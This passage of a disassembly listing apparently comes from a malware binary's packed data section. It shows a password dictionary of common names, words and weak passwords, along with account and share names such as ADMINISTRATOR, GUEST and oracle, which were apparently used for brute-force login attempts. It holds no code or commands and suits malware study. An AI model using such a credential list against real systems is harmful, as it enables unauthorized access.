align 4
aCayuga db 'cayuga',0 ; DATA XREF: .nsp0:0042C91Co
align 4
aCave db 'cave',0 ; DATA XREF: .nsp0:0042C918o
align 4
aCathy db 'cathy',0 ; DATA XREF: .nsp0:0042C914o
align 4
aCatholic db 'catholic',0 ; DATA XREF: .nsp0:0042C910o
align 10h
aCatherin db 'catherin',0 ; DATA XREF: .nsp0:0042C90Co
align 4
aCastle db 'castle',0 ; DATA XREF: .nsp0:0042C908o
align 4
aCash db 'cash',0 ; DATA XREF: .nsp0:0042C904o
align 4
aCascades db 'cascades',0 ; DATA XREF: .nsp0:0042C900o
align 4
aCarson db 'carson',0 ; DATA XREF: .nsp0:0042C8FCo
align 10h
aCarrie db 'carrie',0 ; DATA XREF: .nsp0:0042C8F8o
align 4
aCaroline db 'caroline',0 ; DATA XREF: .nsp0:0042C8F4o
align 4
aCarolina db 'carolina',0 ; DATA XREF: .nsp0:0042C8F0o
align 10h
aCarole db 'carole',0 ; DATA XREF: .nsp0:0042C8ECo
align 4
aCarol db 'carol',0 ; DATA XREF: .nsp0:0042C8E8o
align 10h
aCarmen db 'carmen',0 ; DATA XREF: .nsp0:0042C8E4o
align 4
aCarla db 'carla',0 ; DATA XREF: .nsp0:0042C8E0o
align 10h
aCaren db 'caren',0 ; DATA XREF: .nsp0:0042C8DCo
align 4
aCardinal db 'cardinal',0 ; DATA XREF: .nsp0:0042C8D8o
align 4
aCard db 'card',0 ; DATA XREF: .nsp0:0042C8D4o
align 4
aCapture db 'capture',0 ; DATA XREF: .nsp0:0042C8D0o
aCaptain db 'captain',0 ; DATA XREF: .nsp0:0042C8CCo
aCantor db 'cantor',0 ; DATA XREF: .nsp0:0042C8C8o
align 4
aCandy db 'candy',0 ; DATA XREF: .nsp0:0042C8C4o
align 4
aCandi db 'candi',0 ; DATA XREF: .nsp0:0042C8C0o
align 4
aCamping db 'camping',0 ; DATA XREF: .nsp0:0042C8BCo
aCampanil db 'campanil',0 ; DATA XREF: .nsp0:0042C8B8o
align 4
aCamille db 'camille',0 ; DATA XREF: .nsp0:0042C8B4o
aCaliforn db 'californ',0 ; DATA XREF: .nsp0:0042C8B0o
align 4
aButthead db 'butthead',0 ; DATA XREF: .nsp0:0042C8ACo
align 4
aButt db 'butt',0 ; DATA XREF: .nsp0:0042C8A8o
align 10h
aButch db 'butch',0 ; DATA XREF: .nsp0:0042C8A4o
align 4
aBurn db 'burn',0 ; DATA XREF: .nsp0:0042C8A0o
align 10h
aBurgess db 'burgess',0 ; DATA XREF: .nsp0:0042C89Co
aBung db 'bung',0 ; DATA XREF: .nsp0:0042C898o
align 10h
aBumbling db 'bumbling',0 ; DATA XREF: .nsp0:0042C894o
align 4
aBullshit db 'bullshit',0 ; DATA XREF: .nsp0:0042C890o
align 4
aBulls db 'bulls',0 ; DATA XREF: .nsp0:0042C88Co
align 10h
aBrutefor db 'brutefor',0 ; DATA XREF: .nsp0:0042C888o
align 4
aBrute db 'brute',0 ; DATA XREF: .nsp0:0042C884o
align 4
aBrunette db 'brunette',0 ; DATA XREF: .nsp0:0042C880o
align 10h
aBrothel db 'brothel',0 ; DATA XREF: .nsp0:0042C87Co
aBroadway db 'broadway',0 ; DATA XREF: .nsp0:0042C878o
align 4
aBridget db 'bridget',0 ; DATA XREF: .nsp0:0042C874o
aBrian db 'brian',0 ; DATA XREF: .nsp0:0042C870o
align 4
aBrenda db 'brenda',0 ; DATA XREF: .nsp0:0042C86Co
align 4
aBreast db 'breast',0 ; DATA XREF: .nsp0:0042C868o
align 4
aBreak db 'break',0 ; DATA XREF: .nsp0:0042C864o
align 4
aBravo db 'bravo',0 ; DATA XREF: .nsp0:0042C860o
align 4
aBrandy db 'brandy',0 ; DATA XREF: .nsp0:0042C85Co
align 4
aBrandi db 'brandi',0 ; DATA XREF: .nsp0:0042C858o
align 4
aBradley db 'bradley',0 ; DATA XREF: .nsp0:0042C854o
aBoyscout db 'boyscout',0 ; DATA XREF: .nsp0:0042C850o
align 4
aBorn db 'born',0 ; DATA XREF: .nsp0:0042C84Co
align 10h
aBook db 'book',0 ; DATA XREF: .nsp0:0042C848o
align 4
aBoobs db 'boobs',0 ; DATA XREF: .nsp0:0042C844o
align 10h
aBoob db 'boob',0 ; DATA XREF: .nsp0:0042C840o
align 4
aBoner db 'boner',0 ; DATA XREF: .nsp0:0042C83Co
align 10h
aBomb db 'bomb',0 ; DATA XREF: .nsp0:0042C838o
align 4
aBoard db 'board',0 ; DATA XREF: .nsp0:0042C834o
align 10h
aBlues db 'blues',0 ; DATA XREF: .nsp0:0042C830o
align 4
aBlue db 'blue',0 ; DATA XREF: .nsp0:0042C82Co
align 10h
aBlowjob db 'blowjob',0 ; DATA XREF: .nsp0:0042C828o
aBlow db 'blow',0 ; DATA XREF: .nsp0:0042C824o
align 10h
aBloodaxe db 'bloodaxe',0 ; DATA XREF: .nsp0:0042C820o
align 4
aBlood db 'blood',0 ; DATA XREF: .nsp0:0042C81Co
align 4
aBlondie db 'blondie',0 ; DATA XREF: .nsp0:0042C818o
aBlonde db 'blonde',0 ; DATA XREF: .nsp0:0042C814o
align 4
aBlack db 'black',0 ; DATA XREF: .nsp0:0042C810o
align 4
aBitnet db 'bitnet',0 ; DATA XREF: .nsp0:0042C80Co
align 4
aBitmap db 'bitmap',0 ; DATA XREF: .nsp0:0042C808o
align 4
aBitch db 'bitch',0 ; DATA XREF: .nsp0:0042C804o
align 4
aBishop db 'bishop',0 ; DATA XREF: .nsp0:0042C800o
align 4
aBird db 'bird',0 ; DATA XREF: .nsp0:0042C7FCo
align 4
aBios db 'bios',0 ; DATA XREF: .nsp0:0042C7F8o
align 4
aBinary db 'binary',0 ; DATA XREF: .nsp0:0042C7F4o
align 4
aBill db 'bill',0 ; DATA XREF: .nsp0:0042C7F0o
align 4
aBigfoot db 'bigfoot',0 ; DATA XREF: .nsp0:0042C7ECo
aBicamera db 'bicamera',0 ; DATA XREF: .nsp0:0042C7E8o
align 10h
aBible db 'bible',0 ; DATA XREF: .nsp0:0042C7E4o
align 4
aBeverly db 'beverly',0 ; DATA XREF: .nsp0:0042C7E0o
aBetty db 'betty',0 ; DATA XREF: .nsp0:0042C7DCo
align 4
aBetsie db 'betsie',0 ; DATA XREF: .nsp0:0042C7D8o
align 10h
aBeth db 'beth',0 ; DATA XREF: .nsp0:0042C7D4o
align 4
aBeta db 'beta',0 ; DATA XREF: .nsp0:0042C7D0o
align 10h
aBeryl db 'beryl',0 ; DATA XREF: .nsp0:0042C7CCo
align 4
aBerliner db 'berliner',0 ; DATA XREF: .nsp0:0042C7C8o
align 4
aBerlin db 'berlin',0 ; DATA XREF: .nsp0:0042C7C4o
align 4
aBerkeley db 'berkeley',0 ; DATA XREF: .nsp0:0042C7C0o
align 4
aBeowulf db 'beowulf',0 ; DATA XREF: .nsp0:0042C7BCo
aBenz db 'benz',0 ; DATA XREF: .nsp0:0042C7B8o
align 4
aBeloved db 'beloved',0 ; DATA XREF: .nsp0:0042C7B4o
aBell db 'bell',0 ; DATA XREF: .nsp0:0042C7B0o
align 4
aBehead db 'behead',0 ; DATA XREF: .nsp0:0042C7ACo
align 10h
aBegin db 'begin',0 ; DATA XREF: .nsp0:0042C7A8o
align 4
aBeethove db 'beethove',0 ; DATA XREF: .nsp0:0042C7A4o
align 4
aBecky db 'becky',0 ; DATA XREF: .nsp0:0042C7A0o
align 4
aBeaver db 'beaver',0 ; DATA XREF: .nsp0:0042C79Co
align 4
aBeauty db 'beauty',0 ; DATA XREF: .nsp0:0042C798o
align 4
aBeater db 'beater',0 ; DATA XREF: .nsp0:0042C794o
align 4
aBeast db 'beast',0 ; DATA XREF: .nsp0:0042C790o
align 4
aBear db 'bear',0 ; DATA XREF: .nsp0:0042C78Co
align 4
aBeammeup db 'beammeup',0 ; DATA XREF: .nsp0:0042C788o
align 10h
aBeach db 'beach',0 ; DATA XREF: .nsp0:0042C784o
align 4
aBatman db 'batman',0 ; DATA XREF: .nsp0:0042C780o
align 10h
aBatch db 'batch',0 ; DATA XREF: .nsp0:0042C77Co
align 4
aBassoon db 'bassoon',0 ; DATA XREF: .nsp0:0042C778o
aBass db 'bass',0 ; DATA XREF: .nsp0:0042C774o
align 4
aBasic db 'basic',0 ; DATA XREF: .nsp0:0042C770o
align 10h
aBaseball db 'baseball',0 ; DATA XREF: .nsp0:0042C76Co
align 4
aBartman db 'bartman',0 ; DATA XREF: .nsp0:0042C768o
aBart db 'bart',0 ; DATA XREF: .nsp0:0042C764o
align 4
aBaritone db 'baritone',0 ; DATA XREF: .nsp0:0042C760o
align 4
aBarf db 'barf',0 ; DATA XREF: .nsp0:0042C75Co
align 10h
aBare db 'bare',0 ; DATA XREF: .nsp0:0042C758o
align 4
aBarber db 'barber',0 ; DATA XREF: .nsp0:0042C754o
align 10h
aBarbara db 'barbara',0 ; DATA XREF: .nsp0:0042C750o
aBanks db 'banks',0 ; DATA XREF: .nsp0:0042C74Co
align 10h
aBank db 'bank',0 ; DATA XREF: .nsp0:0042C748o
align 4
aBandit db 'bandit',0 ; DATA XREF: .nsp0:0042C744o
align 10h
aBananas db 'bananas',0 ; DATA XREF: .nsp0:0042C740o
aBanana db 'banana',0 ; DATA XREF: .nsp0:0042C73Co
align 10h
aBall db 'ball',0 ; DATA XREF: .nsp0:0042C738o
align 4
aBailey db 'bailey',0 ; DATA XREF: .nsp0:0042C734o
align 10h
aBadass db 'badass',0 ; DATA XREF: .nsp0:0042C730o
align 4
aBackdoor db 'backdoor',0 ; DATA XREF: .nsp0:0042C72Co
align 4
aBacchus db 'bacchus',0 ; DATA XREF: .nsp0:0042C728o
aBaby db 'baby',0 ; DATA XREF: .nsp0:0042C724o
align 4
aBabe db 'babe',0 ; DATA XREF: .nsp0:0042C720o
align 4
aAzure db 'azure',0 ; DATA XREF: .nsp0:0042C71Co
align 4
aAztecs db 'aztecs',0 ; DATA XREF: .nsp0:0042C718o
align 4
aAuthoriz db 'authoriz',0 ; DATA XREF: .nsp0:0042C714o
align 4
aAttack db 'attack',0 ; DATA XREF: .nsp0:0042C710o
align 10h
aAtom db 'atom',0 ; DATA XREF: .nsp0:0042C70Co
align 4
aAtmosphe db 'atmosphe',0 ; DATA XREF: .nsp0:0042C708o
align 4
aAthena db 'athena',0 ; DATA XREF: .nsp0:0042C704o
align 4
aAsshole db 'asshole',0 ; DATA XREF: .nsp0:0042C700o
aAsian db 'asian',0 ; DATA XREF: .nsp0:0042C6FCo
align 4
aArtist db 'artist',0 ; DATA XREF: .nsp0:0042C6F8o
align 4
aArthur db 'arthur',0 ; DATA XREF: .nsp0:0042C6F4o
align 4
aArrow db 'arrow',0 ; DATA XREF: .nsp0:0042C6F0o
align 4
aArmy db 'army',0 ; DATA XREF: .nsp0:0042C6ECo
align 4
aArlene db 'arlene',0 ; DATA XREF: .nsp0:0042C6E8o
align 4
aAriadne db 'ariadne',0 ; DATA XREF: .nsp0:0042C6E4o
aAria db 'aria',0 ; DATA XREF: .nsp0:0042C6E0o
align 4
aApril db 'april',0 ; DATA XREF: .nsp0:0042C6DCo
align 4
aApollo13 db 'apollo13',0 ; DATA XREF: .nsp0:0042C6D8o
align 4
aAnything db 'anything',0 ; DATA XREF: .nsp0:0042C6D4o
align 4
aAnvils db 'anvils',0 ; DATA XREF: .nsp0:0042C6D0o
align 4
aAnthropo db 'anthropo',0 ; DATA XREF: .nsp0:0042C6CCo
align 4
aAnthrax db 'anthrax',0 ; DATA XREF: .nsp0:0042C6C8o
aAnswer db 'answer',0 ; DATA XREF: .nsp0:0042C6C4o
align 4
aAnonymou db 'anonymou',0 ; DATA XREF: .nsp0:0042C6C0o
align 4
aAnon db 'anon',0 ; DATA XREF: .nsp0:0042C6BCo
align 4
aAnnette db 'annette',0 ; DATA XREF: .nsp0:0042C6B8o
aAnne db 'anne',0 ; DATA XREF: .nsp0:0042C6B4o
align 4
aAnna db 'anna',0 ; DATA XREF: .nsp0:0042C6B0o
align 4
aAnita db 'anita',0 ; DATA XREF: .nsp0:0042C6ACo
align 4
aAnimals db 'animals',0 ; DATA XREF: .nsp0:0042C6A8o
aAnimal db 'animal',0 ; DATA XREF: .nsp0:0042C6A4o
align 4
aAngie db 'angie',0 ; DATA XREF: .nsp0:0042C6A0o
align 4
aAngerine db 'angerine',0 ; DATA XREF: .nsp0:0042C69Co
align 10h
aAngela db 'angela',0 ; DATA XREF: .nsp0:0042C698o
align 4
aAnfo db 'anfo',0 ; DATA XREF: .nsp0:0042C694o
align 10h
aAndy db 'andy',0 ; DATA XREF: .nsp0:0042C690o
align 4
aAndromac db 'andromac',0 ; DATA XREF: .nsp0:0042C68Co
align 4
aAndroid db 'android',0 ; DATA XREF: .nsp0:0042C688o
aAndrea db 'andrea',0 ; DATA XREF: .nsp0:0042C684o
align 4
aAnchor db 'anchor',0 ; DATA XREF: .nsp0:0042C680o
align 4
aAnarchy db 'anarchy',0 ; DATA XREF: .nsp0:0042C67Co
aAnarchis db 'anarchis',0 ; DATA XREF: .nsp0:0042C678o
align 10h
aAnalog db 'analog',0 ; DATA XREF: .nsp0:0042C674o
align 4
aAnal db 'anal',0 ; DATA XREF: .nsp0:0042C670o
align 10h
aAmorphou db 'amorphou',0 ; DATA XREF: .nsp0:0042C66Co
align 4
aAmerica db 'america',0 ; DATA XREF: .nsp0:0042C668o
aAmber db 'amber',0 ; DATA XREF: .nsp0:0042C664o
align 4
aAmanda db 'amanda',0 ; DATA XREF: .nsp0:0042C660o
align 4
aAmadeus db 'amadeus',0 ; DATA XREF: .nsp0:0042C65Co
aAlphabet db 'alphabet',0 ; DATA XREF: .nsp0:0042C658o
align 4
aAllow db 'allow',0 ; DATA XREF: .nsp0:0042C654o
align 10h
aAllison db 'allison',0 ; DATA XREF: .nsp0:0042C650o
aAlison db 'alison',0 ; DATA XREF: .nsp0:0042C64Co
align 10h
aAlisa db 'alisa',0 ; DATA XREF: .nsp0:0042C648o
align 4
aAlicia db 'alicia',0 ; DATA XREF: .nsp0:0042C644o
align 10h
aAlice db 'alice',0 ; DATA XREF: .nsp0:0042C640o
align 4
aAliases db 'aliases',0 ; DATA XREF: .nsp0:0042C63Co
aAlias db 'alias',0 ; DATA XREF: .nsp0:0042C638o
align 4
aAlgebra db 'algebra',0 ; DATA XREF: .nsp0:0042C634o
aAlexande db 'alexande',0 ; DATA XREF: .nsp0:0042C630o
align 4
aAlex db 'alex',0 ; DATA XREF: .nsp0:0042C62Co
align 4
aAlert db 'alert',0 ; DATA XREF: .nsp0:0042C628o
align 4
aAlbert db 'albert',0 ; DATA XREF: .nsp0:0042C624o
align 4
aAlbatros db 'albatros',0 ; DATA XREF: .nsp0:0042C620o
align 10h
aAlbany db 'albany',0 ; DATA XREF: .nsp0:0042C61Co
align 4
aAlaska db 'alaska',0 ; DATA XREF: .nsp0:0042C618o
align 10h
aAirplane db 'airplane',0 ; DATA XREF: .nsp0:0042C614o
align 4
aAids db 'aids',0 ; DATA XREF: .nsp0:0042C610o
align 4
aAerobics db 'aerobics',0 ; DATA XREF: .nsp0:0042C60Co
align 10h
aAdult db 'adult',0 ; DATA XREF: .nsp0:0042C608o
align 4
aAdrianna db 'adrianna',0 ; DATA XREF: .nsp0:0042C604o
align 4
aAdrian db 'adrian',0 ; DATA XREF: .nsp0:0042C600o
align 4
aAdam db 'adam',0 ; DATA XREF: .nsp0:0042C5FCo
align 4
aAction db 'action',0 ; DATA XREF: .nsp0:0042C5F8o
align 4
aAccount db 'account',0 ; DATA XREF: .nsp0:0042C5F4o
aAcademic db 'academic',0 ; DATA XREF: .nsp0:0042C5ECo
align 10h
aAcademia db 'academia',0 ; DATA XREF: .nsp0:0042C5E8o
align 4
a000000 db '000000',0 ; DATA XREF: .nsp0:0042C5E4o
; .nsp0:0042DFFCo
align 4
a00000 db '00000',0 ; DATA XREF: .nsp0:0042C5E0o
; .nsp0:0042DFF8o
align 4
a0000 db '0000',0 ; DATA XREF: .nsp0:0042C5DCo
; .nsp0:0042DFF4o
align 4
a000 db '000',0 ; DATA XREF: .nsp0:0042C5D8o
; .nsp0:0042DFF0o
aTesting db 'testing',0 ; DATA XREF: .nsp0:0042C5D4o
aDeath db 'death',0 ; DATA XREF: .nsp0:0042C5D0o
align 4
a00 db '00',0 ; DATA XREF: .nsp0:0042C5CCo
; .nsp0:0042DFECo
align 4
aXxxxxxxxx db 'xxxxxxxxx',0 ; DATA XREF: .nsp0:0042C5C4o
; .nsp0:0042E43Co
align 4
aXxxxxxxx db 'xxxxxxxx',0 ; DATA XREF: .nsp0:0042C5C0o
; .nsp0:0042E438o
align 4
aXxxxxxx db 'xxxxxxx',0 ; DATA XREF: .nsp0:0042C5BCo
; .nsp0:0042E434o
aXxxxxx db 'xxxxxx',0 ; DATA XREF: .nsp0:0042C5B8o
; .nsp0:0042E430o
align 4
aXxxxx db 'xxxxx',0 ; DATA XREF: .nsp0:0042C5B4o
; .nsp0:0042E42Co
align 4
aXxxx db 'xxxx',0 ; DATA XREF: .nsp0:0042C5B0o
; .nsp0:0042E428o
align 4
aXxx db 'xxx',0 ; DATA XREF: .nsp0:0042C5ACo
; .nsp0:0042E424o
aXx db 'xx',0 ; DATA XREF: .nsp0:0042C5A8o
; .nsp0:0042E420o
align 4
asc_432C6C: ; DATA XREF: .nsp0:0042C5A4o
; .nsp0:0042E41Co
unicode 0, <x>,0
aGuessme db 'guessme',0 ; DATA XREF: .nsp0:0042C5A0o
aYouwontguessme db 'youwontguessme',0 ; DATA XREF: .nsp0:0042C59Co
align 4
aUwontguessme db 'uwontguessme',0 ; DATA XREF: .nsp0:0042C598o
align 4
aMirc_0 db 'mirc',0 ; DATA XREF: .nsp0:0042C594o
align 10h
aKiddie db 'kiddie',0 ; DATA XREF: .nsp0:0042C590o
align 4
aScriptkiddie db 'scriptkiddie',0 ; DATA XREF: .nsp0:0042C58Co
align 4
aScript db 'script',0 ; DATA XREF: .nsp0:0042C588o
align 10h
aHax0r db 'hax0r',0 ; DATA XREF: .nsp0:0042C584o
align 4
aHacker db 'hacker',0 ; DATA XREF: .nsp0:0042C580o
align 10h
aL337 db 'l337',0 ; DATA XREF: .nsp0:0042C57Co
align 4
aL33t db 'l33t',0 ; DATA XREF: .nsp0:0042C578o
align 10h
aLeet db 'leet',0 ; DATA XREF: .nsp0:0042C574o
align 4
aKiller db 'killer',0 ; DATA XREF: .nsp0:0042C570o
align 10h
a0wn3d db '0wn3d',0 ; DATA XREF: .nsp0:0042C56Co
; .nsp0:0042E058o
align 4
aW00t db 'w00t',0 ; DATA XREF: .nsp0:0042C568o
align 10h
aHeaven db 'heaven',0 ; DATA XREF: .nsp0:0042C564o
align 4
aSpaceman db 'spaceman',0 ; DATA XREF: .nsp0:0042C560o
align 4
aSatanic db 'satanic',0 ; DATA XREF: .nsp0:0042C55Co
aSatanik db 'satanik',0 ; DATA XREF: .nsp0:0042C558o
aSatan db 'satan',0 ; DATA XREF: .nsp0:0042C554o
align 4
aGobo db 'gobo',0 ; DATA XREF: .nsp0:0042C550o
align 4
aMatthew db 'Matthew',0 ; DATA XREF: .nsp0:0042C54Co
aMatt db 'Matt',0 ; DATA XREF: .nsp0:0042C548o
align 4
aMat db 'Mat',0 ; DATA XREF: .nsp0:0042C544o
aPw db 'pw',0 ; DATA XREF: .nsp0:0042C540o
align 4
aMypass123 db 'mypass123',0 ; DATA XREF: .nsp0:0042C53Co
align 4
aMypass db 'mypass',0 ; DATA XREF: .nsp0:0042C538o
align 10h
aPw123 db 'pw123',0 ; DATA XREF: .nsp0:0042C534o
align 4
aAdmin123 db 'admin123',0 ; DATA XREF: .nsp0:0042C530o
align 4
aMypc123 db 'mypc123',0 ; DATA XREF: .nsp0:0042C52Co
aMypc db 'mypc',0 ; DATA XREF: .nsp0:0042C528o
align 4
aLove db 'love',0 ; DATA XREF: .nsp0:0042C524o
align 4
aPwd db 'pwd',0 ; DATA XREF: .nsp0:0042C520o
aLogin db 'login',0 ; DATA XREF: .nsp0:0042C51Co
align 4
aHome db 'home',0 ; DATA XREF: .nsp0:0042C518o
align 10h
aZxcv db 'zxcv',0 ; DATA XREF: .nsp0:0042C514o
; .nsp0:0042E45Co
align 4
aYxcv db 'yxcv',0 ; DATA XREF: .nsp0:0042C510o
align 10h
aQwer db 'qwer',0 ; DATA XREF: .nsp0:0042C50Co
; .nsp0:0042E3C8o
align 4
aSecret db 'secret',0 ; DATA XREF: .nsp0:0042C508o
align 10h
aAsdf db 'asdf',0 ; DATA XREF: .nsp0:0042C504o
; .nsp0:0042E474o
align 4
aPc db 'pc',0 ; DATA XREF: .nsp0:0042C500o
align 4
aWin db 'win',0 ; DATA XREF: .nsp0:0042C4FCo
aTest123 db 'test123',0 ; DATA XREF: .nsp0:0042C4F8o
aAbc db 'abc',0 ; DATA XREF: .nsp0:0042C4F4o
aAaa db 'aaa',0 ; DATA XREF: .nsp0:0042C4F0o
; .nsp0:0042E39Co
aA_1: ; DATA XREF: .nsp0:0042C4ECo
; .nsp0:0042E394o
unicode 0, <a>,0
aCrash db 'crash',0 ; DATA XREF: .nsp0:0042C4E8o
align 4
aFucked db 'fucked',0 ; DATA XREF: .nsp0:0042C4E4o
align 4
aNetfuck db 'netfuck',0 ; DATA XREF: .nsp0:0042C4E0o
aIrule db 'irule',0 ; DATA XREF: .nsp0:0042C4DCo
align 4
aOwned db 'owned',0 ; DATA XREF: .nsp0:0042C4D8o
align 4
a0wned db '0wned',0 ; DATA XREF: .nsp0:0042C4D4o
; .nsp0:0042E05Co
align 4
aNetDevil db 'net-devil',0 ; DATA XREF: .nsp0:0042C4D0o
align 10h
aNetdevil db 'netdevil',0 ; DATA XREF: .nsp0:0042C4CCo
align 4
aDevil db 'devil',0 ; DATA XREF: .nsp0:0042C4C8o
align 4
aNilez db 'Nilez',0 ; DATA XREF: .nsp0:0042C4C4o
align 4
aFoobar db 'foobar',0 ; DATA XREF: .nsp0:0042C4C0o
align 4
aGod db 'god',0 ; DATA XREF: .nsp0:0042C4BCo
aSex_0 db 'sex',0 ; DATA XREF: .nsp0:0042C4B8o
aPat db 'pat',0 ; DATA XREF: .nsp0:0042C4B4o
aPatrick db 'patrick',0 ; DATA XREF: .nsp0:0042C4B0o
aAlpha db 'alpha',0 ; DATA XREF: .nsp0:0042C4ACo
align 10h
a007 db '007',0 ; DATA XREF: .nsp0:0042C4A8o
; .nsp0:0042E048o
a123abc db '123abc',0 ; DATA XREF: .nsp0:0042C4A4o
; .nsp0:0042E258o
align 4
a1234qwer db '1234qwer',0 ; DATA XREF: .nsp0:0042C4A0o
; .nsp0:0042E264o
align 4
a123123 db '123123',0 ; DATA XREF: .nsp0:0042C49Co
; .nsp0:0042E204o
align 10h
a121212 db '121212',0 ; DATA XREF: .nsp0:0042C498o
; .nsp0:0042E1FCo
align 4
a111111 db '111111',0 ; DATA XREF: .nsp0:0042C494o
; .nsp0:0042E074o
align 10h
a110 db '110',0 ; DATA XREF: .nsp0:0042C490o
; .nsp0:0042E1C8o
a2600 db '2600',0 ; DATA XREF: .nsp0:0042C48Co
; .nsp0:0042E350o
align 4
a2002 db '2002',0 ; DATA XREF: .nsp0:0042C484o
; .nsp0:0042E33Co
align 4
aXp_0 db 'xp',0 ; DATA XREF: .nsp0:0042C480o
align 4
aEnable db 'enable',0 ; DATA XREF: .nsp0:0042C47Co
align 10h
aGodblessyou db 'godblessyou',0 ; DATA XREF: .nsp0:0042C478o
aIhavenopass db 'ihavenopass',0 ; DATA XREF: .nsp0:0042C474o
a123asd db '123asd',0 ; DATA XREF: .nsp0:0042C470o
; .nsp0:0042E25Co
align 10h
aSuper db 'super',0 ; DATA XREF: .nsp0:0042C46Co
align 4
aInternet db 'Internet',0 ; DATA XREF: .nsp0:0042C468o
align 4
a123qwe db '123qwe',0 ; DATA XREF: .nsp0:0042C460o
; .nsp0:0042E260o
align 4
aSybase db 'sybase',0 ; DATA XREF: .nsp0:0042C45Co
align 4
aAbc123 db 'abc123',0 ; DATA XREF: .nsp0:0042C454o
align 4
aAbcd db 'abcd',0 ; DATA XREF: .nsp0:0042C450o
align 4
aPasswd db 'passwd',0 ; DATA XREF: .nsp0:0042C448o
align 4
aPass_0 db 'pass',0 ; DATA XREF: .nsp0:0042C444o
align 4
a88888888 db '88888888',0 ; DATA XREF: .nsp0:0042C440o
; .nsp0:0042E194o
align 10h
a11111111 db '11111111',0 ; DATA XREF: .nsp0:0042C43Co
; .nsp0:0042E07Co
align 4
a111 db '111',0 ; DATA XREF: .nsp0:0042C438o
; .nsp0:0042E068o
a54321 db '54321',0 ; DATA XREF: .nsp0:0042C434o
; .nsp0:0042E35Co
align 4
a654321 db '654321',0 ; DATA XREF: .nsp0:0042C430o
; .nsp0:0042E360o
align 10h
a123456789 db '123456789',0 ; DATA XREF: .nsp0:0042C42Co
; .nsp0:0042E21Co
align 4
a12345678 db '12345678',0 ; DATA XREF: .nsp0:0042C428o
; .nsp0:0042E218o
align 4
a1234567 db '1234567',0 ; DATA XREF: .nsp0:0042C424o
; .nsp0:0042E214o
a123456 db '123456',0 ; DATA XREF: .nsp0:0042C420o
; .nsp0:0042E210o
align 4
a12345 db '12345',0 ; DATA XREF: .nsp0:0042C41Co
; .nsp0:0042E20Co
align 10h
a1234 db '1234',0 ; DATA XREF: .nsp0:0042C418o
; .nsp0:0042E208o
align 4
a123 db '123',0 ; DATA XREF: .nsp0:0042C414o
; .nsp0:0042E200o
a12 db '12',0 ; DATA XREF: .nsp0:0042C410o
; .nsp0:0042E1F4o
align 10h
a1: ; DATA XREF: .nsp0:0042C40Co
; .nsp0:0042E060o
unicode 0, <1>,0
aTemp123 db 'temp123',0 ; DATA XREF: .nsp0:0042C408o
aChangeme_0 db 'Changeme',0 ; DATA XREF: .nsp0:0042C404o
align 4
aChangeme db 'changeme',0 ; DATA XREF: .nsp0:0042C400o
align 4
aLinux db 'linux',0 ; DATA XREF: .nsp0:0042C3FCo
align 4
aUnix db 'unix',0 ; DATA XREF: .nsp0:0042C3F8o
align 4
aLocal db 'LOCAL',0 ; DATA XREF: .nsp0:0042C3F4o
align 4
aPepsi db 'pepsi',0 ; DATA XREF: .nsp0:0042C3F0o
align 4
aServer_1 db 'SERVER',0 ; DATA XREF: .nsp0:0042C3ECo
; .nsp0:0042E7ACo
align 4
aSystem_0 db 'SYSTEM',0 ; DATA XREF: .nsp0:0042C3E8o
; .nsp0:0042E3FCo ...
align 4
aBackup_0 db 'BACKUP',0 ; DATA XREF: .nsp0:0042C3E4o
; .nsp0:0042E7A4o
align 4
aAccess db 'ACCESS',0 ; DATA XREF: .nsp0:0042C3DCo
; .nsp0:0042E79Co
align 4
aTest db 'TEST',0 ; DATA XREF: .nsp0:0042C3D8o
; .nsp0:0042E798o
align 4
aEdu db 'edu',0 ; DATA XREF: .nsp0:0042C3D4o
; .nsp0:0042E794o
aOwner_1 db 'Owner',0 ; DATA XREF: .nsp0:0042C3D0o
; .nsp0:0042E790o
align 4
aOwner_0 db 'OWNER',0 ; DATA XREF: .nsp0:0042C3CCo
; .nsp0:0042E78Co
align 10h
aDemo db 'DEMO',0 ; DATA XREF: .nsp0:0042C3C8o
; .nsp0:0042E788o
align 4
aFiles db 'FILES',0 ; DATA XREF: .nsp0:0042C3C4o
; .nsp0:0042E784o
align 10h
aRead db 'READ',0 ; DATA XREF: .nsp0:0042C3C0o
; .nsp0:0042E780o
align 4
aBoth db 'BOTH',0 ; DATA XREF: .nsp0:0042C3BCo
; .nsp0:0042E77Co
align 10h
aLadeda db 'ladeda',0 ; DATA XREF: .nsp0:0042C3B8o
; .nsp0:0042E778o
align 4
aFull_0 db 'FULL',0 ; DATA XREF: .nsp0:0042C3B4o
; .nsp0:0042E774o
align 10h
aWrite db 'WRITE',0 ; DATA XREF: .nsp0:0042C3B0o
; .nsp0:0042E770o
align 4
aShare_0 db 'SHARE',0 ; DATA XREF: .nsp0:0042C3ACo
; .nsp0:0042E76Co
align 10h
aTemp db 'TEMP',0 ; DATA XREF: .nsp0:0042C3A8o
; .nsp0:0042E768o
align 4
aPassword db 'PASSWORD',0 ; DATA XREF: .nsp0:0042C3A4o
; .nsp0:0042E764o
align 4
aAdmin_0 db 'ADMIN',0 ; DATA XREF: .nsp0:0042C3A0o
; .nsp0:0042E760o
align 4
aRoot_0 db 'ROOT',0 ; DATA XREF: .nsp0:0042C398o
; .nsp0:0042E758o
align 4
aGuest_1 db 'GUEST',0 ; DATA XREF: .nsp0:0042C394o
; .nsp0:0042E754o
align 4
aBla db 'bla',0 ; DATA XREF: .nsp0:0042C390o
; .nsp0:0042E750o
aFubar db 'fubar',0 ; DATA XREF: .nsp0:0042C38Co
; .nsp0:0042E74Co
align 4
aAdministrato_1 db 'ADMINISTRATOR',0 ; DATA XREF: .nsp0:0042C380o
; .nsp0:0042E740o
align 4
aBackup db 'backup',0 ; DATA XREF: .nsp0:0042C374o
align 10h
aGuest db 'Guest',0 ; DATA XREF: sub_413627:loc_413740o
; .nsp0:0042C370o
align 4
aSysadmin db 'sysadmin',0 ; DATA XREF: .nsp0:0042C36Co
; .nsp0:0042DA40o
align 4
aUser db 'user',0 ; DATA XREF: sub_40CE55+203Bo
; .nsp0:0042C368o
align 4
aDb2 db 'db2',0 ; DATA XREF: .nsp0:0042C360o
aOracle db 'oracle',0 ; DATA XREF: .nsp0:0042C35Co
; .nsp0:0042C458o
align 4
aDba db 'dba',0 ; DATA XREF: .nsp0:0042C358o
aDatabase db 'database',0 ; DATA XREF: .nsp0:0042C354o
; .nsp0:0042C44Co
align 4
aDefault db 'default',0 ; DATA XREF: .nsp0:0042C350o
; .nsp0:0042CAECo
aGuest_0 db 'guest',0 ; DATA XREF: .nsp0:0042C34Co
align 4
